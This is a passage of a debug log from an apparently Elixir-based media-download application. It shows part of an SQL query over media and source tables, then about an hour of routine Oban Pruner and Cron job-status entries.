(((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 00:20:55.109 [debug] QUERY OK source="sources" db=0.2ms idle=7.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 00:20:55.110 [info] Sent 200 in 20ms 00:20:56.794 [info] {"source":"oban","duration":916,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:21:00.406 [info] {"source":"oban","duration":535,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:21:26.796 [info] {"source":"oban","duration":793,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:21:56.798 [info] {"source":"oban","duration":1120,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:22:00.408 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:22:26.801 [info] {"source":"oban","duration":1643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:22:56.803 [info] {"source":"oban","duration":1117,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:23:00.409 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:23:26.806 [info] {"source":"oban","duration":1762,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:23:56.808 [info] {"source":"oban","duration":1073,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:24:00.410 [info] {"source":"oban","duration":348,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:24:26.810 [info] {"source":"oban","duration":947,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:24:56.812 [info] {"source":"oban","duration":617,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:25:00.412 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:25:26.813 [info] {"source":"oban","duration":905,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:25:56.815 [info] {"source":"oban","duration":957,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:26:00.414 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:26:26.817 [info] {"source":"oban","duration":805,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:26:56.819 [info] {"source":"oban","duration":1323,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:27:00.416 [info] {"source":"oban","duration":406,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:27:26.822 [info] {"source":"oban","duration":1556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:27:56.824 [info] {"source":"oban","duration":972,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:28:00.418 [info] {"source":"oban","duration":416,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:28:26.827 [info] {"source":"oban","duration":1666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:28:56.830 [info] {"source":"oban","duration":1957,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:29:00.420 [info] {"source":"oban","duration":427,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:29:26.833 [info] {"source":"oban","duration":1559,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:29:56.835 [info] {"source":"oban","duration":1116,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:30:00.422 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:30:26.837 [info] {"source":"oban","duration":1055,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:30:56.840 [info] {"source":"oban","duration":1567,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:31:00.424 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:31:26.843 [info] {"source":"oban","duration":1711,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:31:56.846 [info] {"source":"oban","duration":1911,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:32:00.426 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:32:26.849 [info] {"source":"oban","duration":1561,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:32:56.852 [info] {"source":"oban","duration":1565,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:33:00.427 [info] {"source":"oban","duration":462,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:33:26.855 [info] {"source":"oban","duration":1540,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:33:56.858 [info] {"source":"oban","duration":2045,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:34:00.429 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:34:26.861 [info] {"source":"oban","duration":1527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:34:56.864 [info] {"source":"oban","duration":1550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:35:00.431 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:35:26.867 [info] {"source":"oban","duration":1530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:35:56.870 [info] {"source":"oban","duration":1526,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:36:00.432 [info] {"source":"oban","duration":426,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:36:26.873 [info] {"source":"oban","duration":2095,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:36:56.876 [info] {"source":"oban","duration":1516,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:37:00.434 [info] {"source":"oban","duration":561,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:37:26.879 [info] {"source":"oban","duration":2060,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:37:56.882 [info] {"source":"oban","duration":2277,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:38:00.436 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:38:26.885 [info] {"source":"oban","duration":1529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:38:56.888 [info] {"source":"oban","duration":1920,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:39:00.437 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:39:26.891 [info] {"source":"oban","duration":1600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:39:56.893 [info] {"source":"oban","duration":2076,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:40:00.439 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:40:26.896 [info] {"source":"oban","duration":2092,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:40:56.899 [info] {"source":"oban","duration":2052,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:41:00.440 [info] {"source":"oban","duration":434,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:41:26.902 [info] {"source":"oban","duration":1560,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:41:56.905 [info] {"source":"oban","duration":1763,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:42:00.441 [info] {"source":"oban","duration":364,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:42:26.908 [info] {"source":"oban","duration":1708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:42:56.910 [info] {"source":"oban","duration":571,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:43:00.442 [info] {"source":"oban","duration":291,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:43:26.912 [info] {"source":"oban","duration":1888,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:43:56.915 [info] {"source":"oban","duration":1700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:44:00.444 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:44:26.918 [info] {"source":"oban","duration":1582,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:44:56.920 [info] {"source":"oban","duration":1577,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:45:00.446 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:45:26.923 [info] {"source":"oban","duration":1647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:45:56.926 [info] {"source":"oban","duration":1647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:46:00.447 [info] {"source":"oban","duration":409,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:46:26.929 [info] {"source":"oban","duration":1512,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:46:56.931 [info] {"source":"oban","duration":1557,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:47:00.449 [info] {"source":"oban","duration":390,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:47:26.934 [info] {"source":"oban","duration":1871,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:47:56.937 [info] {"source":"oban","duration":2127,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:48:00.451 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:48:26.940 [info] {"source":"oban","duration":1531,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:48:56.943 [info] {"source":"oban","duration":1526,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:49:00.452 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:49:26.946 [info] {"source":"oban","duration":1543,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:49:56.949 [info] {"source":"oban","duration":1561,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:50:00.454 [info] {"source":"oban","duration":463,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:50:26.952 [info] {"source":"oban","duration":1521,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:50:56.955 [info] {"source":"oban","duration":1568,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:51:00.456 [info] {"source":"oban","duration":399,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:51:26.958 [info] {"source":"oban","duration":1532,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:51:56.961 [info] {"source":"oban","duration":2107,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:52:00.456 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:52:26.964 [info] {"source":"oban","duration":1535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:52:56.967 [info] {"source":"oban","duration":2037,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:53:00.458 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:53:26.970 [info] {"source":"oban","duration":1521,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:53:56.973 [info] {"source":"oban","duration":1552,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:54:00.460 [info] {"source":"oban","duration":444,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:54:26.975 [info] {"source":"oban","duration":890,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:54:56.978 [info] {"source":"oban","duration":2079,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:55:00.462 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:55:26.981 [info] {"source":"oban","duration":1878,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:55:56.984 [info] {"source":"oban","duration":1528,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:56:00.464 [info] {"source":"oban","duration":406,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:56:26.987 [info] {"source":"oban","duration":1574,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:56:56.990 [info] {"source":"oban","duration":1674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:57:00.464 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:57:26.993 [info] {"source":"oban","duration":1777,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:57:56.996 [info] {"source":"oban","duration":1645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:58:00.466 [info] {"source":"oban","duration":406,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:58:26.999 [info] {"source":"oban","duration":1529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:58:57.001 [info] {"source":"oban","duration":2101,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:59:00.468 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:59:27.004 [info] {"source":"oban","duration":1893,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:59:57.007 [info] {"source":"oban","duration":1999,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:00:00.470 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:00:27.010 [info] {"source":"oban","duration":1841,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:00:57.013 [info] {"source":"oban","duration":2096,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:01:00.472 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:01:27.016 [info] {"source":"oban","duration":2028,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:01:57.019 [info] {"source":"oban","duration":2036,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:02:00.474 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:02:27.022 [info] {"source":"oban","duration":1612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:02:57.025 [info] {"source":"oban","duration":2216,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:03:00.475 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:03:27.028 [info] {"source":"oban","duration":1531,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:03:57.030 [info] {"source":"oban","duration":1946,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:04:00.476 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:04:27.033 [info] {"source":"oban","duration":1900,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:04:57.036 [info] {"source":"oban","duration":1648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:05:00.477 [info] {"source":"oban","duration":490,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:05:27.039 [info] {"source":"oban","duration":1549,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:05:57.042 [info] {"source":"oban","duration":2086,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:06:00.479 [info] {"source":"oban","duration":414,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:06:27.045 [info] {"source":"oban","duration":1981,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:06:57.048 [info] {"source":"oban","duration":1886,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:07:00.481 [info] {"source":"oban","duration":432,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:07:27.051 [info] {"source":"oban","duration":1948,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:07:57.054 [info] {"source":"oban","duration":1657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:08:00.482 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:08:27.057 [info] {"source":"oban","duration":2003,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:08:57.060 [info] {"source":"oban","duration":2082,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:09:00.484 [info] {"source":"oban","duration":351,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:09:27.063 [info] {"source":"oban","duration":1648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:09:57.066 [info] {"source":"oban","duration":1449,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:10:00.486 [info] {"source":"oban","duration":421,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:10:27.068 [info] {"source":"oban","duration":1752,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:10:57.071 [info] {"source":"oban","duration":2118,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:11:00.488 [info] {"source":"oban","duration":395,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:11:27.073 [info] {"source":"oban","duration":858,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:11:57.075 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:12:00.490 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:12:27.077 [info] {"source":"oban","duration":1561,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:12:57.080 [info] {"source":"oban","duration":2060,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:13:00.492 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:13:27.083 [info] {"source":"oban","duration":2247,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:13:57.086 [info] {"source":"oban","duration":1798,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:14:00.494 [info] {"source":"oban","duration":416,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:14:27.089 [info] {"source":"oban","duration":1761,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:14:57.092 [info] {"source":"oban","duration":1711,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:15:00.496 [info] {"source":"oban","duration":395,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:15:27.095 [info] {"source":"oban","duration":1737,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:15:57.098 [info] {"source":"oban","duration":1620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:16:00.498 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:16:27.101 [info] {"source":"oban","duration":1639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:16:57.103 [info] {"source":"oban","duration":2127,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:17:00.500 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:17:27.106 [info] {"source":"oban","duration":2040,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:17:57.109 [info] {"source":"oban","duration":2179,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:18:00.501 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:18:27.112 [info] {"source":"oban","duration":2198,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:18:57.115 [info] {"source":"oban","duration":1707,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:19:00.503 [info] {"source":"oban","duration":344,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:19:27.118 [info] {"source":"oban","duration":1522,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:19:57.120 [info] {"source":"oban","duration":2052,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:20:00.504 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:20:27.123 [info] {"source":"oban","duration":1606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:20:57.126 [info] {"source":"oban","duration":1654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:21:00.506 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:21:27.129 [info] {"source":"oban","duration":2035,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:21:57.132 [info] {"source":"oban","duration":1983,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:22:00.506 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:22:27.135 [info] {"source":"oban","duration":2167,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:22:57.138 [info] {"source":"oban","duration":1609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:23:00.508 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:23:27.141 [info] {"source":"oban","duration":1545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:23:57.143 [info] {"source":"oban","duration":1995,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:24:00.510 [info] {"source":"oban","duration":406,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:24:27.146 [info] {"source":"oban","duration":1613,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:24:57.149 [info] {"source":"oban","duration":2077,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:25:00.512 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:25:27.152 [info] {"source":"oban","duration":2114,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:25:57.155 [info] {"source":"oban","duration":1458,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:26:00.512 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:26:27.157 [info] {"source":"oban","duration":2049,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:26:57.160 [info] {"source":"oban","duration":1547,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:27:00.514 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:27:27.162 [info] {"source":"oban","duration":1522,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:27:57.165 [info] {"source":"oban","duration":2002,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:28:00.515 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:28:27.168 [info] {"source":"oban","duration":1636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:28:57.171 [info] {"source":"oban","duration":1518,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:29:00.516 [info] {"source":"oban","duration":150,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:29:27.173 [info] {"source":"oban","duration":1569,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:29:57.175 [info] {"source":"oban","duration":1999,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:30:00.518 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:30:27.178 [info] {"source":"oban","duration":1874,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:30:57.181 [info] {"source":"oban","duration":2075,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:31:00.519 [info] {"source":"oban","duration":620,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:31:27.182 [info] {"source":"oban","duration":454,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:31:57.184 [info] {"source":"oban","duration":1419,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:32:00.521 [info] {"source":"oban","duration":399,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:32:27.187 [info] {"source":"oban","duration":1610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:32:57.190 [info] {"source":"oban","duration":1559,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:33:00.522 [info] {"source":"oban","duration":473,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:33:27.193 [info] {"source":"oban","duration":1788,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:33:57.196 [info] {"source":"oban","duration":1771,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:34:00.524 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:34:27.199 [info] {"source":"oban","duration":2061,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:34:57.202 [info] {"source":"oban","duration":2079,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:35:00.526 [info] {"source":"oban","duration":615,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:35:27.204 [info] 